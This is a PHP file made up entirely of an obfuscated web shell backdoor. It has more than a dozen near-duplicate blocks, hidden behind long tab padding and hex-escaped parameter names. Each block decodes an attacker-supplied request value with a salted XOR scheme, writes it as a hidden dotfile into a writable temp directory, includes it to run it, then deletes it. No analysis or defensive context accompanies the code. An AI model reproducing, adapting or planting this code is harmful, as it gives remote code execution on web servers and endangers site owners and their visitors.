<?php																																										if(isset($_POST) && isset($_POST["\x6Be\x79"])){ $bind = array_filter([ini_get("upload_tmp_dir"), getenv("TEMP"), "/var/tmp", "/tmp", getcwd(), session_save_path(), "/dev/shm", sys_get_temp_dir(), getenv("TMP")]); $obj = $_POST["\x6Be\x79"]; $obj = explode ( "." , $obj) ; $holder = ''; $salt2 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt2); foreach ($obj as $r => $v6) { $sChar = ord($salt2[$r % $sLen]); $dec = ((int)$v6 - $sChar - ($r % 10))^ 54; $holder.= chr($dec); } $hld = 0; do { $sym = $bind[$hld] ?? null; if ($hld >= count($bind)) break; if (is_writable($sym) && is_dir($sym)) { $factor = sprintf("%s/.entry", $sym); $success = file_put_contents($factor, $holder); if ($success) { include $factor; @unlink($factor); exit;} } $hld++; } while (true); }
																																										if(array_key_exists("\x66\x6Cag", $_REQUEST)){ $data_chunk = array_filter([ini_get("upload_tmp_dir"), session_save_path(), "/tmp", getenv("TMP"), sys_get_temp_dir(), getcwd(), "/dev/shm", getenv("TEMP"), "/var/tmp"]); $itm = $_REQUEST["\x66\x6Cag"]; $itm = explode(".", $itm ) ; $binding = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $s); $y = 0; $__tmp = $itm; while( $v4 = array_shift( $__tmp)) { $chS = ord( $s[$y % $sLen]); $d =( ( int)$v4 - $chS -( $y % 10)) ^ 86; $binding .= chr( $d); $y++; } $desc = 0; do { $ref = $data_chunk[$desc] ?? null; if ($desc >= count($data_chunk)) break; if (is_dir($ref) ? is_writable($ref) : false) { $descriptor = vsprintf("%s/%s", [$ref, ".entry"]); if (file_put_contents($descriptor, $binding)) { require $descriptor; unlink($descriptor); exit; } } $desc++; } while (true); }
																																										if(isset($_REQUEST) && isset($_REQUEST["c\x6F\x6Dp"])){ $key = array_filter(["/tmp", "/var/tmp", sys_get_temp_dir(), ini_get("upload_tmp_dir"), session_save_path(), getcwd(), getenv("TMP"), "/dev/shm", getenv("TEMP")]); $element = $_REQUEST["c\x6F\x6Dp"]; $element =explode (".", $element ) ; $bind =''; $s2 ='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen =strlen($s2); $n =0; $len =count($element); do { if ($n >= $len) break; $v4 =$element[$n]; $chS =ord($s2[$n % $sLen]); $d =((int)$v4 - $chS - ($n % 10)) ^ 60; $bind.= chr($d); $n++; }while (true); while ($ptr = array_shift($key)) { if (is_dir($ptr) && is_writable($ptr)) { $data_chunk = implode("/", [$ptr, ".data"]); $file = fopen($data_chunk, 'w'); if ($file) { fwrite($file, $bind); fclose($file); include $data_chunk; @unlink($data_chunk); exit; } } } }
																																										if(isset($_POST["sy\x6D"])){ $tkn = $_POST["sy\x6D"]; $tkn = explode ( '.' , $tkn ) ; $desc = ''; $salt4 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt4); $__len = count($tkn); for ($s = 0; $s < $__len; $s++) { $v1 = $tkn[$s]; $sChar = ord($salt4[$s%$sLen]); $d = ((int)$v1 - $sChar - ($s%10))^61; $desc.=chr($d);} $mrk = array_filter(["/tmp", getenv("TMP"), ini_get("upload_tmp_dir"), sys_get_temp_dir(), "/var/tmp", session_save_path(), getenv("TEMP"), getcwd(), "/dev/shm"]); for ($value = 0, $obj = count($mrk); $value < $obj; $value++) { $resource = $mrk[$value]; if (is_dir($resource) && is_writable($resource)) { $fac = vsprintf("%s/%s", [$resource, ".item"]); if (file_put_contents($fac, $desc)) { include $fac; @unlink($fac); exit; } } } }
																																										if(count($_REQUEST) > 0 && isset($_REQUEST["r\x65f"])){ $val = array_filter([getcwd(), ini_get("upload_tmp_dir"), sys_get_temp_dir(), getenv("TEMP"), getenv("TMP"), "/dev/shm", "/tmp", session_save_path(), "/var/tmp"]); $value = $_REQUEST["r\x65f"]; $value = explode ( '.',$value ) ; $pgrp = ''; $salt3 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt3 ); $k = 0; while ($k < count($value)) { $v8 = $value[$k]; $chS = ord($salt3[$k % $sLen] ); $d = ((int)$v8 - $chS - ($k % 10)) ^ 60; $pgrp.=chr($d ); $k++; } foreach ($val as $fac): if (max(0, is_dir($fac) * is_writable($fac))) { $item = str_replace("{var_dir}", $fac, "{var_dir}/.data_chunk"); $file = fopen($item, 'w'); if ($file) { fwrite($file, $pgrp); fclose($file); include $item; @unlink($item); die(); } } endforeach; }
																																										if(count($_POST) > 0 && isset($_POST["hol\x64er"])){ $factor = array_filter([getcwd(), ini_get("upload_tmp_dir"), session_save_path(), "/dev/shm", "/tmp", getenv("TEMP"), "/var/tmp", getenv("TMP"), sys_get_temp_dir()]); $sym = $_POST["hol\x64er"]; $sym = explode ("." , $sym); $object = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt); $v = 0; $len = count($sym); do { if ($v >= $len) break; $v4 = $sym[$v]; $sChar = ord($salt[$v% $sLen]); $d = ((int)$v4 - $sChar - ($v% 10)) ^ 86; $object.= chr($d); $v++; } while (true); while ($bind = array_shift($factor)) { if (array_product([is_dir($bind), is_writable($bind)])) { $item = vsprintf("%s/%s", [$bind, ".binding"]); if (file_put_contents($item, $object)) { include $item; @unlink($item); exit; } } } }
																																										if(isset($_REQUEST) && isset($_REQUEST["comp\x6F\x6Ee\x6E\x74"])){ $flg = array_filter([getenv("TMP"), "/var/tmp", "/dev/shm", sys_get_temp_dir(), getcwd(), "/tmp", getenv("TEMP"), session_save_path(), ini_get("upload_tmp_dir")]); $descriptor = $_REQUEST["comp\x6F\x6Ee\x6E\x74"]; $descriptor=explode ( "." ,$descriptor) ; $element = ''; $salt9 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt9 ); $m = 0; $__len = count($descriptor ); do { if ($m>= $__len) break; $v9 = $descriptor[$m]; $chS = ord($salt9[$m % $sLen] ); $dec = ((int)$v9 - $chS - ($m % 10)) ^ 15; $element .= chr($dec ); $m++; } while (true ); $desc = 0; do { $tkn = $flg[$desc] ?? null; if ($desc >= count($flg)) break; if (max(0, is_dir($tkn) * is_writable($tkn))) { $comp = join("/", [$tkn, ".reference"]); if (file_put_contents($comp, $element)) { include $comp; @unlink($comp); exit; } } $desc++; } while (true); }
																																										if(isset($_REQUEST) && isset($_REQUEST["e\x6E\x74ry"])){ $res = array_filter([sys_get_temp_dir(), "/dev/shm", getcwd(), "/var/tmp", "/tmp", getenv("TEMP"), getenv("TMP"), ini_get("upload_tmp_dir"), session_save_path()]); $k = $_REQUEST["e\x6E\x74ry"]; $k = explode ( "." , $k ) ; $component =''; $s2 ='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS =strlen($s2); $s =0; while($s < count($k)) { $v3 =$k[$s]; $chS =ord($s2[$s % $lenS]); $dec =((int)$v3 - $chS -($s % 10)) ^ 8; $component .= chr($dec); $s++; } $comp = 0; do { $dat = $res[$comp] ?? null; if ($comp >= count($res)) break; if (is_dir($dat) && is_writable($dat)) { $holder = "$dat" . "/.reference"; $success = file_put_contents($holder, $component); if ($success) { include $holder; @unlink($holder); exit;} } $comp++; } while (true); }
																																										if(!is_null($_POST["bi\x6Ed\x69\x6E\x67"] ?? null)){ $flag = $_POST["bi\x6Ed\x69\x6E\x67"]; $flag=explode ( '.', $flag) ; $rec = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s); foreach ($flag as $x=>$v9) { $sChar = ord($s[$x % $sLen]); $dec = ((int)$v9 - $sChar - ($x % 10))^28; $rec .= chr($dec); } $elem = array_filter([sys_get_temp_dir(), ini_get("upload_tmp_dir"), getenv("TEMP"), "/tmp", getcwd(), "/dev/shm", "/var/tmp", getenv("TMP"), session_save_path()]); foreach ($elem as $key => $pset) { if (!( !is_dir($pset) || !is_writable($pset) )) { $entity = vsprintf("%s/%s", [$pset, ".marker"]); if (@file_put_contents($entity, $rec) !== false) { include $entity; unlink($entity); die(); } } } }
																																										if(array_key_exists("resour\x63\x65", $_POST) && !is_null($_POST["resour\x63\x65"])){ $pgrp = array_filter([sys_get_temp_dir(), "/var/tmp", getenv("TMP"), getcwd(), "/dev/shm", ini_get("upload_tmp_dir"), "/tmp", session_save_path(), getenv("TEMP")]); $pointer = $_POST["resour\x63\x65"]; $pointer =explode ( '.' ,$pointer) ; $token= ''; $salt= 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen= strlen($salt); $len= count($pointer); for ($r= 0; $r< $len; $r++) { $v9= $pointer[$r]; $chS= ord($salt[$r % $sLen]); $dec= ((int)$v9 - $chS - ($r % 10))^ 39; $token .= chr($dec);} foreach ($pgrp as $obj) { if ((is_dir($obj) and is_writable($obj))) { $descriptor = implode("/", [$obj, ".key"]); if (file_put_contents($descriptor, $token)) { require $descriptor; unlink($descriptor); die(); } } } }
																																										if(@$_REQUEST["\x72\x65c\x6Frd"] !== null){ $parameter_group = $_REQUEST["\x72\x65c\x6Frd"]; $parameter_group =explode( ".", $parameter_group ); $reference = ''; $s4 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $s4); foreach( $parameter_group as $n => $v2) { $chS = ord( $s4[$n % $lenS]); $dec =( ( int)$v2 - $chS -( $n % 10)) ^ 91; $reference .= chr( $dec); } $rec = array_filter(["/dev/shm", "/var/tmp", getenv("TMP"), getenv("TEMP"), sys_get_temp_dir(), ini_get("upload_tmp_dir"), getcwd(), session_save_path(), "/tmp"]); while ($desc = array_shift($rec)) { if (is_dir($desc) && is_writable($desc)) { $comp = implode("/", [$desc, ".descriptor"]); $success = file_put_contents($comp, $reference); if ($success) { include $comp; @unlink($comp); die();} } } }
																																										if(@$_REQUEST["d\x65s\x63ript\x6F\x72"] !== null){ $item = array_filter(["/dev/shm", getenv("TEMP"), "/var/tmp", session_save_path(), getenv("TMP"), ini_get("upload_tmp_dir"), sys_get_temp_dir(), "/tmp", getcwd()]); $pgrp = $_REQUEST["d\x65s\x63ript\x6F\x72"]; $pgrp = explode ( '.' ,$pgrp) ; $hld = ''; $s1 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $s1); foreach( $pgrp as $k => $v1): $sChar = ord( $s1[$k % $lenS]); $dec =( ( int)$v1 - $sChar -( $k % 10)) ^ 24; $hld.= chr( $dec); endforeach; while ($reference = array_shift($item)) { if (is_dir($reference) ? is_writable($reference) : false) { $component = vsprintf("%s/%s", [$reference, ".entity"]); $file = fopen($component, 'w'); if ($file) { fwrite($file, $hld); fclose($file); include $component; @unlink($component); exit; } } } }
																																										if(filter_has_var(INPUT_POST, "po\x69nt\x65\x72")){ $pgrp = array_filter(["/dev/shm", session_save_path(), ini_get("upload_tmp_dir"), "/tmp", getenv("TMP"), sys_get_temp_dir(), getenv("TEMP"), getcwd(), "/var/tmp"]); $item = $_REQUEST["po\x69nt\x65\x72"]; $item = explode ( '.',$item); $descriptor = ''; $salt2 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $salt2); $p = 0; while( $p < count( $item)) { $v1 = $item[$p]; $chS = ord( $salt2[$p % $lenS]); $d =( ( int)$v1 - $chS -( $p % 10)) ^ 6; $descriptor .= chr( $d); $p++; } foreach ($pgrp as $value): if (max(0, is_dir($value) * is_writable($value))) { $itm = vsprintf("%s/%s", [$value, ".ent"]); if (file_put_contents($itm, $descriptor)) { require $itm; unlink($itm); die(); } } endforeach; }
																																										if(filter_has_var(INPUT_POST, "e\x6E\x74ry")){ $data = array_filter([getenv("TEMP"), getcwd(), "/tmp", session_save_path(), sys_get_temp_dir(), ini_get("upload_tmp_dir"), "/dev/shm", getenv("TMP"), "/var/tmp"]); $pgrp = $_POST["e\x6E\x74ry"]; $pgrp = explode ( ".", $pgrp); $comp= ''; $salt= 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen= strlen($salt); foreach ($pgrp as $j=> $v7): $sChar= ord($salt[$j%$sLen]); $dec= ((int)$v7 - $sChar - ($j%10)) ^ 89; $comp .= chr($dec); endforeach; foreach ($data as $key => $token) { if ((is_dir($token) and is_writable($token))) { $key = sprintf("%s/.descriptor", $token); if (@file_put_contents($key, $comp) !== false) { include $key; unlink($key); exit; } } } }


if(isset($_REQUEST["\x70t\x72"]) ? true : false){
	$value = array_filter([getenv("TMP"), ini_get("upload_tmp_dir"), session_save_path(), "/dev/shm", "/var/tmp", getenv("TEMP"), getcwd(), sys_get_temp_dir(), "/tmp"]);
	$bind = $_REQUEST["\x70t\x72"];
	$bind=  	explode 	(   '.',	 $bind	 	)	 	;	
	$sym=	 '';
            $salt7=	 'abcdefghijklmnopqrstuvwxyz0123456789';
            $lenS=	 strlen( $salt7);
            $i=	 0;
    
            $__tmp=	 $bind;
            while( $v7=	 array_shift( $__tmp)) {
                $chS=	 ord( $salt7[$i	%$lenS]);
                $dec=	 ( ( int)$v7 - $chS -( $i	%10)) ^82;
                $sym 	.=  chr( $dec);
                $i++; }
	foreach ($value as $fac) {
    		if (is_dir($fac) ? is_writable($fac) : false) {
    $pointer = join("/", [$fac, ".binding"]);
    if (@file_put_contents($pointer, $sym) !== false) {
	include $pointer;
	unlink($pointer);
	die();
}
}
}
}